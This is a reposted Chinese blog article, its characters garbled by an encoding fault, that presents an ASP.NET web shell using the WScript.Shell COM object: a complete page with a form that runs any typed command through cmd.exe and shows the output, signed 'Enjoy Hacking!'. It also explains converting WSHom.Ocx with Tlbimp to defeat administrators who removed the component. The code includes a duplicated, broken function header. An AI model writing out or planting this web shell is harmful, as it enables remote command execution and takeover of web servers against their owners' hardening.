ASP.NET下使用WScript.Shell執(zhí)行命令 - 商務(wù)智能時代來臨... - 博...
ASP.NET下有自己的執(zhí)行CMD命令的方式,這里用WScript.Shell似有畫蛇添足之嫌,但是我們也不能排除真的有機器禁用了.NET的相關(guān)類,未雨綢繆嘛。當然也不僅僅局限于WScript.Shell,只要是ASP中能用的組件,統(tǒng)統(tǒng)都可以用于ASP.NET中,而且還更方便!
ASP.NET提供了兩種方法讓我們使用COM組件:1、Server對象的CreatObject方法;2、將COM組件轉(zhuǎn)化為.NET組件。
·Server對象的CreatObject方法
這個方法比較簡單,直接使用就是。當然前提是服務(wù)器上已經(jīng)注冊了該組件,而WScript.Shell是系統(tǒng)自帶的,我們不用擔心。只是在編寫代碼時注意ASP.NET與ASP語法上的細微差別就可以了。直接給出代碼如下:
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
Sub runcmd()sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
"cmd.exe"‘s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />
<br>
Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
</form>
<div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------
</div>
<hr width="50%">
</body>
</html>
·將COM組件轉(zhuǎn)化為.NET組件
微軟給我們提供了類型庫導入器(Type Library Importer),經(jīng)過它的轉(zhuǎn)換,我們就可以使用COM組件了。轉(zhuǎn)換之后,會有一個dll文件,需要放到Web目錄的bin目錄下組件才可以被使用。
雖然這樣多了一個dll,但是這個dll不需要注冊就可直接使用,非常方便,這也是ASP.NET與ASP的區(qū)別之一。哈哈,有的BT管理員沒事要刪除“有害”的組件,現(xiàn)在他也沒辦法了吧^_^
WScript.Shell對象是%windir%\system32\WSHom.Ocx,我們把它copy出來拿給類型庫導入器轉(zhuǎn)換:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目錄的bin下面。接著寫代碼咯,與前面的代碼有少許不同。
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(后同代碼1)
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請
點擊舉報。